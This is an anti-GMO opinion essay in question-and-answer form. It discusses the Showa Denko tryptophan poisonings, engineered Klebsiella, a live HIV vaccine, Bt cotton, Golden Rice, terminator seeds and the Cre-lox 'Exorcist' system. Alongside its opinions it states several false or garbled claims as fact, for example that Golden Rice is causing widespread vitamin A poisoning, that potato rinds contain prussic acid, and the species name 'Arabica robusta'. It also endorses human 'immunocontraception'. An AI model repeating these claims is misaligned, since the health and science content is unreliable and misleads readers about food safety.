In the early 1990s a petrochemicals +company called Showa-Denko reckoned that they could make a strain of +Klebsiella with all the regular tryptophan-making genes turned on all the +time - they replaced the usual promoters with ones which were turned on +continuously. This was so bacteria would make loads of tryptophan. It did +indeed make loads and loads of tryptophan. It also started making +something else, something rather unexpected.

Anyway, since the +tryptophan was manufactured in pretty much the +same way as it usually was, it was decided that no special tests be +performed on the end product, no labels need be put on the cans it was +sold in, and so off it went into general consumption. 36 people were +fatally poisoned. About 1500 now have permanent nerve poisoning, a +syndrome called eosinophilia-myalgia (EMS)... permanent serious muscle +pain and other problems.

So how did that +happen?

It turns out that in the engineered +klebsiella, the _precursor_ to tryptophan built up to such a high +concentration that it formed a dimer - that is, two precursor molecules +chemically bonded with each other, to form a molecule called +1-ethylidene-bis-L-tryptophan, or EBT for short. This dimer never occurs +in natural organisms, because the promoters switch production off when +concentration gets too high. If biochemists were trained in physical +chemistry they might have seen this coming, but physical chemistry in +living things is hideously complex, and biochemists aren't much trained in +physical chem, so they couldn't even begin to try and predict it. Physical +chemistry in dead things is pretty complex, too. +

EBT is chemically similar to tryptophan (it is just two +tryptophans bolted together, after all) so it came through with the +tryptophan in the extraction procedure, to about 0.5% contamination by +weight. Showa Denko settled out of court for a large sum of money. The +dead people are still dead, others EMS victims gradually die off as the +years roll on.

Tryptophan became a +restricted chemical after that. How can legislators call a molecule +restricted if it is a component of most of the proteins in every living +thing? What really should have been restricted is the freedom which +companies have to spread GM derivatives around the planet.

When I did +biochemistry/molecular genetics in 1996-1998, we were +told lots about how tryptophan is synthesised in cells and how it is +regulated, but not a peep about this screwup, which is a heck of a +cautionary tale.

+ + +

Q: So how is +this sort of thing going to effect my life - my coffee will taste the +same, won't it? + +

+ +A: Nobody really knows. Probably not. I read recently that the genes +responsible for the synthesis of caffeine in the coffee plant (Arabica +robusta) has been identified and some biotech startup thinks there's money +to be made by turning that gene off and thereby producing a coffee bean +without caffeine in it, which in turn produces a decaffeinated coffee +which still has all the full caffeinated coffee flavour in it because the +other flavour molecules aren't lost (co-extracted) during the +solvent-based caffeine extraction procedure currently employed in +industry.

Apart from the zero-diversity problems +attendant to having zillions of hectares of identical GM arabica robusta +all over the world (the diversity of the coffee tree genome is already +pretty restricted) there is no mention of the possible biochemical +consequences of this engineering : if you turn off the gene which produces +the protein which transforms all the precursors to caffeine into actual +caffeine, then what happens to all that precursor? Does it build up to a +concentration at which it can biotransform into something poisonous to +humans or damaging to the surrounding environ? Does it influence the +kinetics of some other part of the plant's biochemistry which renders the +crop able or not able to do something else, for example will a GM caffeine +incapable plant make more dimethylxanthines instead (gotta do something +with all that xanthate precusor, if it can't make caffeine, the plant +might increase the synthesis of theobromine or theophylline, the latter of +which is toxic to some people). We aren't learning the necessary lessons, +we're keeping on making the same fucking stupid mistakes over and over +because we aren't learning to ask the questions which we should have asked +when we discovered we messed up the first time around. + + +

Q: Any near +misses? +
A: Absolutely. My god, this one 'll make you dirty your +pants, it's so scary. Again, it's a bit of a long story.

A German biotech firm engineered a +bacterium (again, Klebsiella, the particular subtype was called +planticula) to help dispose of rotting crop waste on farms. It happpened +that when it did this it also produced ethanol, which is in demand as a +fuel.

The engineered bacteria +was sent off to Oregon State University in the USA, to be tested. Usually +when labs test an organism they use sterile soil, basically it's normal +dirt which has been processed in such a way as there's nothing left alive +in it, which means all the variables are controlled, you don't have +earthworms or nematodes or fungi or whatever in the dirt to mess with your +results. But that means you're testing it in dirt which is totally +unrealistic compared to the dirt in which you typically grow plants in, +which is usually packed full of living things. +

Anyway a doctoral student named Michael Holmes thought +that testing this bacteria in sterile soil was senseless so he did the +test in various sorts of living soil with lots of organisms already in +it.

He found that every plant +put into the living soils with the engineered Klebsiella died.

+Why did this happen? It turns out that +the Klebsiella interfered with, and often killed, the mycorrhyzal fungi in +the dirt, which are responsible for making soil nutrients available so the +plant can absorb them in its roots. Plants are dependant on these soil +organisms to live.

Think +about it. The engineered Kleb was producing ethanol, the stuff +which, when you drink it in beer, makes you drunk and kills cells in +your liver and brain. Ethanol is a widely used biocidal agent, we usually +wiped down the benches with it in the lab where I used to do my +research, for this reason. Of COURSE it's gonna kill things in the soil, +including the plant roots too, if my experiences in plant biochem lab are +anything to go by. The experiment is easy enough to do - pour some ethyl +alcohol on the grass outside and come back in a few days, and it'll be +dead. Well, duh.

But it gets +astoundingly worse.

Suppose +this stuff had been tested in sterile soils, and given the OK by the EPA +(like the FDA did with tryptophan) to be released, in processed plant +waste, onto soil on farms throughout the world. You'd never stop it. +It would adapt to every treatment you'd throw at it. It would be +impossible to contain its spread. It would just distribute itself on +vehicle tyres, dust storms, the claws of birds which happened to land on +the soil. It would spread throughout the planet gradually resulting in the +eradication of agriculture and most the plant +kingdom as we know it.

(See: Suzuki, Dressel, "Naked Ape to Superspecies" p120-121, Allen +and Unwin)

If Holmes hadn't +done his experiments in real dirt, we'd never have known the effects +in living soils. The guy deserves a Nobel Prize for bringing these results +to light and averting the collapse of the civilised world, which is +entirely dependant on agriculture.
+ + + +

Q: There's +a group in the +Netherlands who, as of May 2001, say they genetically engineered a strain +of live HIV which might be good as a vaccine against AIDS. What's your +take on this?

A: I +think I'd rather be shot than take this stuff. They've engineered the +virus so it's dependant on the presence of a chemical called doxycycline +to permit it to replicate. The theory is that they infect you with this +stuff and give you doxycycline and it gives you a very weak form of AIDS +for a few days, and then they stop giving you doxycycline and the +doxycycline-dependant virus dies out. During which time the immune system +learns to recognise the HIV virus and generate antibodies and white cell +defences to that virus.

The people who think live attenuated vaccines are useful as +vaccines fail to understand that they are dealing with a dynamically +adaptive, self-interested, evolving and replicating data construct - a +virus. Viral DNA and RNA replication is *intrinsically* error prone - +that's how HIV becomes specific for CD4+ T-cells and macrophages and +certain kinds of neurons, it's also how it generates escape mutants to +become immune to sodium phosphonoformate, and protease inhibitors, and +chain terminators (like AZT and ddI) and even to recently developed +error-inducing nucleotide analogues which are supposed to push the virus +over its error-catastrophe threshold.

+ If you stick live AIDS into someone, +even if it's attenuated, it'll become virulent in the long term, period. +After all, you've put it on an evolutionary topography where the virus +will 1) benefit by not replicating any more of its own RNA than it has to +and 2) benefit by losing the gene or promoter which encodes its +controllability by doxycycline. Eventually there will be a variety of it +which *ignores* the presence of absence of doxycycline and replicates +anyway. + +

For heaven's sake, viruses lose virulence genes when you passage them +in cell culture, *because* it's more efficient for the virus to do that in +the context in which it finds itself - a cell culture context where it +does not need to be virulent. Over a few generations of infecting cultured +cells in a sealed environment in which its every need is catered for, the +virus throws its virulence genes away because it doesn't need them, Any +virlogist with half a clue knows that. + + +

Q: What is substantial similarity? + +
A: It's a term which signifies that the GM food crop regulatory +authorities and legislators have absolutely no idea about molecular +genetics. They pass legislation which says "if a GM plant is substantially +similar to the natural plant, then they can be treated as if they are the +same." + +

This is +absolute crap piled on top of arrogant stupidity. I guess it is to be +expected, since most of the people who write these laws are economists or +lawyers, business types who haven't the slightest idea about how real +living systems work. + +

Ok, yes, technically, chimpanzees are substantially similar to +humans... mainly humans who write this kind of legislation. There are lots +of examples in nature where the tiniest little difference can have +massive, often fatal differences.

There's a protein I mentioned +earlier, haemoglobin. Its main job is to sit around in red blood cells, +pick up oxygen in the lungs and dump it in the other tissues. There are +two genes which encode the subcomponent proteins in haemoglobin. Regular +haemoglobin molecules float around independantly inside the red blood +cell, so the red blood cells can squeeze through tiny blood vessels, +called capillaries. + +

Some people have a blood disorder called sickle cell anaemia. This +occurs because the amino acid sequence in the haemoglobin has changed +slightly, which in turn occurs because ONE DNA BASE has changed. The +consequence of this is that the haemoglobin molecules stick together, and +form rods, which turn red blood cells into a kind of stretched curved +donut shape, which stops them from going through capillaries easily, and +this starves your flesh of oxygen. + +

At a DNA level you might be substantially similar, but at a functional +living being level you've got serious problems if this single base is +changed ... one base in 3 billion. Basically because you multiply that +error in ALL of your red cells. + +

There's a load of other examples... genes which predispose you to +getting cancer... genes which, because they dont work, mean that you bleed +for days when you get a tiny cut... all substantially similar, but +nevertheless different to the usual version which most humans have. + + +

Q: What sort of people are making the +legislative decisions about +GMOs?
A: I don't +know, but they aren't the people who use or understand the technology. I +went to a public forum at NSW state parliament in 1999 about this, sat and +listened to the suits at the front, and to the questions asked by the +journalists. I stood up and said, "Is there anyone in this room, aside +from me, who actually does molecular genetics, uses restriction enzymes, +can sequence and clone a gene, or has any idea how this genetic technology +works?" I was the only person, in a room with five hundred people in it, +who had ever actually gloved-up and gowned-up and done molecular +genetics. + +

This isn't actually surprising. Molecular biology takes a while to +learn, it's hard stuff. Also most gene jockeys who have jobs are employed +by biotech firms, which would sack them instantly if they said anything +about what they do... non-disclosure agreements are a part of getting +employed. So they shut up. Most of the ones I've worked with don't +actually have a clue about the distributed interactivity of the ecosystem, +'cos they are confined to a narrow specialty. I can talk about this 'cos I +get paid to be a computer geek. + +

Most journalists don't even know what are the right questions to ask. +

They focus on wether or not the GM crops are safe to eat. My bet is, +after it's been killed and processed and frozen and seasoned and oven +roasted, it's probably safe to eat, but really we just don't know until +some people die because of some wierdo interaction we didn't know about. +The Showa Denko lesson is there for the learning, if you look for it. + + +

Food safety is peripheral to the main questions, which are: Is it safe +to have this casually modified molecular software running our global food +supply? Is it stable for the next few million years? Is it diverse enough +to be robust? (If it crashes as often as most commercially available +software, we're in deep shit, soon). Should it be owned by a few large, +unaccountable, immortal transnational companies, who employ +biology-clueless accountants to decide about "how to manage" it for +maximum profit?

+ +Currently I think the respective answers are +no, no, no and no. I am unlikely to change this stance in the forseeable +future. + +

The stake we should be interested +in is long-term survival, that is what you play for when you're playing +a game called Darwinian Selection. Species too stupid to realise this +are eventually edited from the gene pool. This is a fate for which I think +h.sapiens is a prime candidate. + +

Besides which, we already HAVE safe, not-modified food plants, which +have a track record of centuries of safety. Let's eat 'em while we can +still get them. + +

Q: What was the +flavr savr +tomato?
A: Tomatos +rot because there are genes which turn on when the tomato ripens, which +make enzymes which dissolve the structural components of the cells in the +tomato.

The idea was +that to make tomatos last longer on the supermarket shelf, you just turned +these genes off. Anyway this was done and it produced a tomato which was +more fragile than the ones already on the shelf. They were then used to +make tomato soup since they're easier to process than regular tomatos. I +don't know if they tasted any better.

+While we're on the subject of tomatos, the +ones we get look really red and juicy, and are firm as tennis balls, but +taste like wet cardboard. These were not genetically engineered to be that +way... farmers and consumers bred them that way. How?

+For years grocery +and supermarket +managers complained that soft, mushy tomatos (which also tasted good) were +not profitable. Shoppers would judge their tomato by the firmness and the +look of it. Tomatos which allocated their resources to making flavour +molecules, were mushy and were easily bruised and looked unattractive on +the shelves, so shoppers didn't buy them even if they probably tasted +good.

The call went +out, we want firmer tomatos. So tomato growers started to select strains +which were physically tougher. A plant which allocates resources to +structural strength is not allocating them to making itself tasty. Over +several decades we have arrived at a tomato which is optimised for +profitable supermarket distribution, is as red, firm and shiny as a +cricket ball and tastes about as good, too. They don't even go splat when +you drop them. We brought this on ourselves without GMOs. + +

Q: There's a cow which has been engineered to make +spider silk in its milk udder. Is this a good idea?
+ +A: Well, we don't know. It probably isn't going to help any calves the cow +might have, when they try and grow up drinking milk with spider silk proteins +dissolved in it. In any case, again, nobody is sure what this gene (fibroin) +will do in all the other cells in the cow, if it gets expressed; I'm yet to +hear wether the cow has immunologically reacted against the fibroin or its +derivatives.

Why is this being done? Well, it's for the fibre. Cows are +going to get a lot of modifications, I suspect, since that udder of theirs is +a convenient thing from which to extract all sorts of engineered protein +products, because the technology for it already exists (automated cow milking +machines). But, it's being plugged right into the nutrient supply of the new +calf. This isn't a very clever thing to do, I think.

+ +I heard in 2003, someone has engineered cows so they make more than twice +the normal amount of casein in their milk. They used multiple copies of +the normal cow genes +for casein, so it's the same two proteins beta-casein and kapa-casein, +which cows usually secrete into their milk, but the engineered cow makes 2 +times more kappa-casein and 1.7 times more beta-casein - they're not in +their usual proportion. These cows also have a genetic marker for +resistance to an antibiotic engineered into them too, as an artefact of +the cell selection procedure used to select the individual engineered +cells from which these cows originate. It hasn't been mentioned if all the +cow's cells express proteins which destroy a particular antibiotic, but if +they do, and the cow gets a bacterial infection, there's at least one +antibiotic you can't use to help the cow recover from any infections it +might get, because its cells just destroy it. I'm sure veterinarians +aren't going to like that.

+ +Now, the cheesemakers are saying this casein overexpression is a great +idea, they get more cheese from milk, more money per cow, etc. But think +about it for a moment... by changing the promoters for the expression of +these casein genes, they have altered the animal's normal tissue-specific +allocation of amino acids. All animals have a daily amino-acid budget, and +these cows are now allocating a hell of a lot more of their amino acid +pool, to excretory casein synthesis than they normally would. In addition +they will be depleting their amino-acid pool most severely of the exact +same amino-acids which will now be used up in the process of making lots +of casein - not all amino-acids are depleted equally. Normal cows make as +much secretory casein as their body thinks is necessary, and these ones +have been engineered to make heaps, in an unregulated way. Are these cows +going to experience illness as a result of amino-acid deficiencies +elsewhere in their system as a result of placing all their resources into +their milk glands? Nobody knows yet. +

+ +It should also be noted here that since this animal has several copies of +casein engineered into it, that this animal is no longer totally a diploid +mammal any more - the ploidy for the casein genes is much higher than the +ploidy of the genes for the rest of the animal. Generally if you have +changes in ploidy you get odd changes in the physiology of the animal; +when humans get ploidy changes they exhibit things like Klinefelter's +syndrome or Turner's Syndrome - which are brough about by excessive copies +of things like the genes on X chromosomes. + +

+ + +

Q: What sort of weird GM things have you heard +of?
A: Someone's trying to develop blue roses. You can, from certain +research institutions, get hairless mice which faintly glow green in the +dark, they have been engineered with genes from bioluminescent organisms. +There's also a mouse which has been engineered with its +pigmentation synthesis genes placed under the control of the bacterial +lac operon, so it'll change the colour of its growing coat-hair +depending on wether or not you feed it a particular material (IPTG). I +imagine these sorts of things will eventually become available for sale, +and pollute our ecosystem even more than it is already, just because +someone thinks there's a buck to be made and no legislator will have the +nouse or guts to prevent it. + +

Another whacky one is, someone has engineered potatos to glow in the +dark when they're in need of water (using the same luciferase genes, but +different promoters, to the ones spliced into the mouse mentioned above) . +Um, can't people just look at them and see if they're wilting, like we did +for a few thousand years? More recent examples of utterly idiotic GM +projects include engineering grass so it doesn't grow so fast, therefore +needs less frequent attention with a lawnmower (I'm not kidding... instead +of planting something other than grass, our solution to lawn maintenance +is evidently to engineer grass to be slow-growing... you're still going to +have to waste resources growing it and you'll still have to mow it!) - +and there's an Israeli chap engineering chickens to have no feathers. I +don't suppose it ever occurred to this guy that feathers actually do +useful things for chickens, like say, keep them warm, +and provide abrasion resistance, waterproofing, and so on? I imagine +someone will get the idea that it might be good to engineer humans to have +12 fingers, so they can type faster, play the piano better, etc - and when +it eventually happens it will never be asked why evolution decided, after +millions of years of testing, on five digits per hand. + +

Just because we can do these sorts of things does not mean they're a +good idea. It concerns me that living organisms are being engineered to +suit the requirements of sometimes demonstrably stupid sales droids and +marketing analysts. + + +

Q: Can you give some examples of bad effects a GMO +might have in an ecosystem?
A: Yeah. There's a cotton crop you can get +with a bacterial enzyme engineered into it. This enzyme (from +Bacillus Thuringiensis) attacks the internal structure of insects, so when +the insects eat the plant, the enzyme attacks the insect, which kinda +dissolves into mush from the inside out, in a day or so.

This means +that the crop is protected, but it also means that the dead insect isn't +out there doing its particular job in the ecosystem. It might be that it +had other jobs like pollenating nearby plants, or becoming food for local +bird life. Obviously if it has dissolved into brown sludge from the inside +out, it can't perform those roles any more. Sometimes these roles are +critical. Say your engineered plants also slowly kill every bee in the +district... where will the beekeepers go? Where will the new saplings +germinate? + +

There's an additional consequence to doing this - you set the scene +for the evolution of insect pests which are resistant to attack by this +enzyme. So over the years, the organic farmers who use bacillus +thuringiensis as a natural pesticide of last resort are going to find that +it doesn't work any more. And, in the very long term, the adapted insects +will just eat the engineered crop anyway, so the farmer will have to get +the same crop but engineered to have a different poison in it.

Some +additional things go wrong with the crop, like sometimes its leaves are +warped, or the toxin doesn't actually work against pest weevils (they have +resistance, maybe?), or the plant has very little foliage so it doesn't +grow very quickly, or the cotton bolls on it were shaped stragely and +yielded no fibre. Whatever the Bt gene was doing, we didn't completely +know about it.

+ +Here's some other examples; there's genes for various lectins implicated +in actually raising the susceptibility of potatos to sucking insects, +because these GM-introduced protein are thought to be responsible for +decreasing the amount of glycoalkaloids produced when expressed in +genetically engineered potatos, and glycoalkaloids are what potatos use +naturally to repel sucking insects. (See: Annals of Applied Biology Vol +140 p143). It's known also that when Pioneer-Hi-Bred engineered Soybeans +to express a methionine-rich Brazil nut protein in 1996, the protein was +later shown to cause allergies in the people eating it (the idea here was +to make the food more methionine-rich). There's various people also +engineering the genes controlling the process of synthesis for lignin in +trees, so they are more easily able to be processed into paper... who +knows what this modified lignin will turn into when the organisms +responsible for breaking it down try and eat it, or what structural +effects it will have on the trees growing it? (See Nature Biotechnology +Vol 20 p607). +

+ +By 2003 a gene encoding an enzyme called Cystatin has been inserted into +many of the world's banana crops. Cystatin originates in a totally +different plant, namely rice, and blocks the action of an enzyme called +cysteine proteinase. Cysteine proteinase chops up proteins which possess +an amino acid called cysteine. The idea behind this is that cystatin +expressed by engineered bananas prevents nematodes, which are a worm which +eats banana plants, from completing their life cycle by preventing the +nematodes from digesting the banana flesh (by blocking the nematode's +cysteine proteinase which is part of the way nematodes chop up banana +proteins during their digestion). Does anyone know if the engineered +inhibition of cysteine proteinase changes anything else, like the way we +digest bananas, or the function of the hundreds of kinds of bacteria in +our gut, or the way bananas run their own internal cysteine +proteinase biochemistry? What about cystatin... does it interfere with +anything else? What happens if all the nematodes die out where these +engineered banana crops are planted? What are we going to do if the +nematodes don't die out, but instead become resistant to the effects of +cystatin? What about all the other things which live on bananas... fungi, +bacteria ... what will cystatin do to them?

+ +

Carson wrote +Silent Spring what, thirty years ago? What happens when the only organism +which survives in an ecosystem is the one which has eliminated all the +neighbours with engineered molecular trickery? + +

If you plant vast areas with the same +identical plant, you have a monoculture, and anything that damages it will +damage the entire crop because there is no variation. Diversity creates +robustness. If you have a crop with 5 strains of wheat, a frost might kill +some of it, a drought might kill some of it, a flood might kill some of +it, an insect might kill some of it, a fungus might kill some of it, but +any one of those will only kill 20% of your crop. A crop with one strain +of wheat is uniformly vulnerable, and that's exactly what the GM plants +are - pretty much genetically identical.

And - a field full of some + GM crop is a +field with no natural crop in it. So what happens when the planet is +planted with this? Where does the diversity of heirloom strains go? They +go extinct, that's where. Extinct is for a long, long time. Its software +we can't afford to lose. + +

Q: Some +people say we've been modifying plants for generations and that GMOs are +no different. Is this correct?
+A: No. What we're doing is taking genes and +inserting them into organisms in which they did not evolve. Genes and +proteins do not come with an instruction manual. Suppose there is a strain +of wheat which has been selected over centuries for its resistance to +frost. The particular makeup of that plant is is full of genes which +evolved entirely in wheat, and is going to be more predictable in the long +term than say, a genetically modified wheat plant which has had a gene +from, say, a jellyfish engineered into it to improve frost resistance. We +have no way of knowing what the jellyfish gene will do in the metabolism +of the wheat, or in the ecosystem local to the wheat crop.... it evolved +in the ocean, after all. Who knows what it could do in the +paddocks? + +

Q: what sort of +modifications are already +in the paddocks?
A: +I'm finding it hard to keep track of them all. A chap named +Herrera-Estrella from Mexico is engineering crops to tolerate droughts by +making them synthesise sugars (for instance, trehalose) which tend to make +it easier for the plant to retain water (this trick is widely practised in +a lot of natural succulent plants like the cacti). Yeasts will +ferment trehalose, so are we looking at accidentally +engineering the plant so that its relatively moist, sugary products rot +faster in storage silos? + +

Tobacco is being engineered with proteins which enable the roots to +pump salt out of the plant, which enables the plant to grow in soils +otherwise rendered useless by salinity. I suspect this might be a good way +to engineer a salt-tolerant weed, but anyway, what *are* we growing +tobacco for - it causes millions of people to die painful deaths every +year, many of them become a drain on government resources when they're +busy being treated in hospital. Tobacco doesn't feed anyone except +the tobacco company shareholders.

But wait, there's more. Someone's +engineering cats so they are non-allergenic to humans... but there's no +discussion amongst the proponents that cats might be secreting their +allergenic protein for a good reason. Someone else is planning to engineer +bacteria that convert your sweat into pheromones. This isn't going to feed +anyone either. + +

Some other bunch of people +are in the process of engineering cattle to be immune to trypanosomes, +which would have the undesirable long term effect that feral cattle in +Africa would undergo a population explosion in that country because +trypanosomiasis is one of the major things keeping them in check. But they +never talk about that scenario. + +

I've heard of +engineered plants which lower the pH of the soil around them, which makes +it easier for them to extract phosphate ions from the dirt. Too bad if +you're a soil organism and you prefer not to have your environmental +acidity increased. + +

Somewhere else rice has been engineered to contain more +precursors to vitamin A. It's been given away free to impoverished nations +supposedly to prevent blindness due to vitamin A deficiency. It's called +Golden Rice. It's causing some problems already. People aren't getting +visual defects from vitamin A deficiency like they used to but now they're +getting vitamin A toxicity, you only need about 33 milligrams of this per +day in your diet before you start to exhibit poisoning, it's a +lipid-soluble vitamin so it's not like Vitamin C any excess of which you +can excrete in your urine. The way to fix this is to eat less vitamin A by +eating less of the engineered rice, but uhhh, they can't do that, they +were offered it for free and planted all their fields with it and it's +their staple diet and they cant afford to buy rice from anywhere else. +Brilliant, not. + +

There's potatos which +have been engineered to be resistant to various viruses, too, but I can't +see why in the long term the viruses won't adapt to the engineered crop, +as has been the experience with other pest organisms. I can't see why when +the spuds eventualy flower (as, the variety Lemhi Russet will do) they +won't spread this gene around amongst other spuds. + +

I brew my own beer, and I have heard a rumour which I have not been +able to pin down concerning the engineered strains of yeast (saccharomyces +cerevisiae) used in commercial breweries. I don't know yet but it wouldn't +surpise me, yeast are an industrial workhorse and modified strains exist +in laboratories all over the world. + + +

Q: What's a +roundup ready crop?
A: A crop which has been engineered with enzymes +which protect it +from being poisoned by glyphosate sodium, which is a plant poison and +widely used weedkiller. The company which has the patents on these plants +also owns the patents on the roundup herbicide. They engineer crops so +they cant be killed by glyphos, so you can spray a crop and it will only +kill the weeds. + +

Q: What effect +do glyphosate resistance genes have on the ecosystem? +
A: Certainly their presence +encourages farmers to spray more glyphos on weed plants, which increases +the amount of residue in the overall crop, and also in the +soil.

If you look on +a drum of Monsanto Roundup, it says that "glyphosate breaks down on +contact with soil" ...which is not completely true. It doesn't all break +down instantly, which means that the label is misleading. It has a half +life of several months. So it builds up from repeated application. Check +the Merck Index entry for it.

It isn't known if these genes have +spread into other plants, but +it wouldn't be surprising, given that all lifeforms want to do is to +spread their genes around, after all, that's what they evolved to do. Do +we need weeds which are resistant to weedkiller? I think +not. + +

Q: Some biotech +companies say that they didn't add genes in or take genes out, yet they +have modified the organism anyway, how does that work? +
A: Word-play. You can have all the +original genes, just driven under different promotors - genes which are +usually switched on or off are engineered to be permanently turned off or +on, or made to turn on/off under different circumstances to the ones under +which they used to turn on or off, and this has a significant effect on +the behaviour of the organism. Or, a gene is reinserted backwards so the +protein it encodes doesn't get made. The effects of this aren't known, but +you can say "we didn't take out or add any _genes_." Its like saying +glyphos breaks down on contact with soil. Its a half-truth, they rely on +people not to ask anything else. Usually it works because they don't know +what to ask. + +

Q: There's an +idea that a protein will do only one task, and that since it only does +that task that it can be relied upon only to do that task and therefore is +a known quantity. Is this a fair statement?

A: No. All complex proteins +have an +evolutionary history. For example, we have a protein in our liver called +alcohol dehydrogenase, it breaks down ethanol (which is produced by our +gut bacteria). It happens that a protein in the lens of human eyes, called +crystallin, will also break down ethanol. This is probably because +crystallin evolved over billions of years from the same sequences of DNA +which encode alcohol dehydrogenase. Check out their genes, they're pretty +similar. Other proteins and enzymes probably used to do other jobs +millions of years ago, but we don't know what they did because we don't +even know how to look. Their behaviour is very context +dependant. + + +

Q: There's +this stuff out there called terminator technology (TT). It is promoted +because it stops GM plants from propagating. Does it have any long-term +consequences for the stability of the global food supply? + +
A: Yes. TT +makes crops produce seeds which can't germinate. It generally works by +inserting into the plant genome a gene encoding a protein which interferes +with germination (and there are several ways to do this) and putting this +protein under the control of a DNA promotor sequence which is activated +during seed germination. So the seed starts to germinate and then poisons +its own germination process. + +

If the company which +makes the F1 (parent) crop suddenly can't provide new seeds to the farmers +each year, then the result is shortage of crops because the farmers can't +grow next years crops from the seeds they have already from the last years +harvest. The word "crippleware" applies here. Destabilising the software +which feeds you is uh, suicidally insane if you're interested in +long-term survival.

In the long term you can't guarantee a +mutation won't enable the +TT engineered crop (and any other genes it might have) to propagate, +because you're dealing with a living organism. _All_ it wants to do is +spread its genes around. Say a TT crop pollenates a nearby wild type crop. +Does that mean that the wild crop's progeny is now not going to germinate? +This is like a self-destruct sequence but with a distribution mechanism. +The epidemiological analogy with a plague disease is exact. + + +

Q: What about +terminator technology's effects on the autonomy of farmers? +
A: it induces dependancy on the GM +crop because farmers can't grow their crop from seeds they might have +adapted to their particular environment over decades. They become +dependant on an agribusiness co for their annual seed supply, for which +they pay a lot of money, and they used to get it for free. + +

Q: There's a new technology (2002) called Exorcist. +How does it work and does it really mean you can have a GM but GM-free plant? +
A: Supposing you had modified a plant genome to include a transgene +like, say, one which encoded a protein which made the GM plant herbicide +resistant.. Once that gene has been transcribed into mRNA and the +protein has been produced, the GM technology has done its work, but +after that, the "Exorcist" is a neat way of chopping that gene out +of the plant's genome - in fact it will chop the transgene out, and also +most of the DNA which has been spliced into the plant genome to enable +the Exorcist mechanism to work. +

+ +Naturally, Exorcist itself is a genetic modification which leaves +traces of itself behind after it has done its work (which includes chopping +itself out of the genome of the modified plant), and these traces remain +both in the modified plant genomic material. Also, the chopped-out +sections encoding foreign genes are not reliably destroyed, they sometimes +remain after excision, floating around in the cell, doing whatever it is +they do when they're chopped out (which isn't known). +

+ +The "Exorcist" protein is called Cre, which is actually a (bacterial) virus +recombinase enzyme which chops out anything between two specific DNA +sequences (called loxP, 34 bases long) then re-joins the cut loxP ends, +between which the rest of the GM DNA is deliberately placed. +An engineered-in recognition sequence remains in the genome wherever +it was initially placed, because the two of them initially present +are not completely chopped out. +

+Once the Exorcist, its promotor section, and the other modified genes under +their control have done their work, you'll *STILL* have a modified plant, +the metabolism of which was doing engineered processes during the period +when the intended-for-removal transgenic gene, and its protein were still +there in the plant cell, doing whatever nonstandard biochemistry +they were doing (rather like a worn sock is still a worn sock even though +you've taken your foot out of it). +

+ +You might have much less of a chance of identifying that it was a modified +plant. If there was a remnant loxP site there, which didn't exist in the +wild-type plant, you'd be able to say "this is a modified plant." However, +if there was such a loxP site in the wild-type plant, you'd be dealing with +an organism which would behave unpredictably when engineered with the +Exorcist system since the Cre protein would probably make an attempt at +chopping out DNA which just happened to fit Cre's recognition requirement, +but you couldn't say definately the plant had this loxP site due to +engineering or not if you didn't know it was engineered... because the +transgenes have been chopped out and might not remain in a condition which +a PCR search could recognise. + +

We don't know the recognition error rates for the Cre recombinase, nor +what else it might do in organisms where it didn't evolve, nor wether the +loxP sequences Cre works on also occur naturally elsewhere in the plant to +be engineered. To me, having a foreign recombinase running around in your +plant's genetic material, chopping-out whatever it happens to find between +the required sequences, is a brilliant way to destabilise the genome of +the organism. It might be worth asking, too, why develop a means to chop +out an engineered gene, if these things we're engineering in there in the +first place are supposedly safe? Doesn't it seem like Exorcist is a fix-up +for a mess we should not have created in the first place? + +

There's someone else out there saying that if you do engineering on the +DNA of the chloroplasts in plants (the photosynthetic sub-component of +plant cells) that it's ok since that DNA can't spread ... well, again, +even if you have engineered the plant chloroplasts to behave differently +for few weeks, the effects of those engineered chloroplasts can remain for +a very long time. I think the no-spread claim is dubious +anyway, since chloroplasts and mitochondria have to be passed down the +generations along with normal nuclear material, so if the plants with +engineered chloroplasts can reproduce, their chloroplasts probably will +find a way to do so too. + + +

Q: Are +genetically modified crops going to feed the starving +millions?

A: No. This +is because the starving millions don't have the money to pay the +agribusinesses for the privelage of using them. Simple and callous as +that. This is peripheral to the question of wether we need more people on +a planet with six billion humans on it, which I think we definately do +not. Or the question of where to get the hydrocarbons and synthetic +fertilisers to run our mechanised +mono-agriculture for the next century. Or the question of where to get +land to +grow enough crops to feed so many people.

+ +Did the last green revolution feed everyone? Well, actually, no.

If +there is a plague organism on this planet, we're it. We need distributed +immunocontraception. Maybe genetic engineering will provide that in one +form or another. If history is any guide, it will happen by accident. +Probably something stupid like we woke up to the sudden realisation that +we engineered all our food crops to die out after one season with +terminator technology and planted it everywhere so the wild types pretty +much became extinct, creating widespread famine. Sheer genius. + + +

Q: Are +genetically modified organisms going to eradicate disease? +

A: No. + +

Problems of resistance aside, enough people won't be able to get access +to things like engineered vaccines, because they won't be able to afford +them, so there will be persistent reservoir populations of pathogenic +organisms in hosts, and probably resistant ones evolving everywhere.

+Similarly, many diseases which are inborn errors of metabolism and which +dont have many sufferers or a sexy media profile, will largely lose out in +the competition for research funds. + +We've already got one GMO which _causes_ a disease (vitamin A poisoning, +see above). + +

There are some GM crops which have +in them proteins from disease causing organisms, and the idea here is that +people eat these crops, and their immune system learns to recognise the +pathogen protein, so they get immunity to that disease. I think that's a +good idea except the disease organism only needs to slightly change and +the immune system won't recognise it, necessitating a new release of a +newly modified crop. +

+The crops are often modified with no consideration about how the plants +are processed in the societies where they are eaten : someone released a +potato with a gene encoding a bacterial protein from a disease-causing +bacteria in it, but since the locals always cooked their potatoes before +eating them, the protein was denatured by heat before the immune system +ever got a change to recognise it. OF COURSE they did. Potato rinds are +poisonous, they contain things like prussic acid. You yourself probably +don't eat potatos raw either. + +

Again we dont know what viral proteins will do in food crops, for +reasons I already mentioned. In any case, some companies think this is a +bad idea because they make money out of selling cures, and this sort of +prevention strategy is bad for their profitability. + + + + +

Q: Universities +are the main institutions where molecular biologists are trained. Do +university level courses have any components which inform young scientists +about the long term consequences of molecular modification? +
A: Universities are not places +where the molecular biologists of the future are informed of the +consequences of their interference with the genomes of organisms. They are +places where you are trained to use the tools, but not to have any +understanding of the consequences of application of those tools. It is the +same as it was with training people in the 1930s to synthesise pesticides, +or hormones, which turned out to be oestrogen analogues which induced +unusual vaginal cancers and male mammal infertility decades later at +parts-per-million concentration and which we only became aware of in the +1960s and 1970s. +

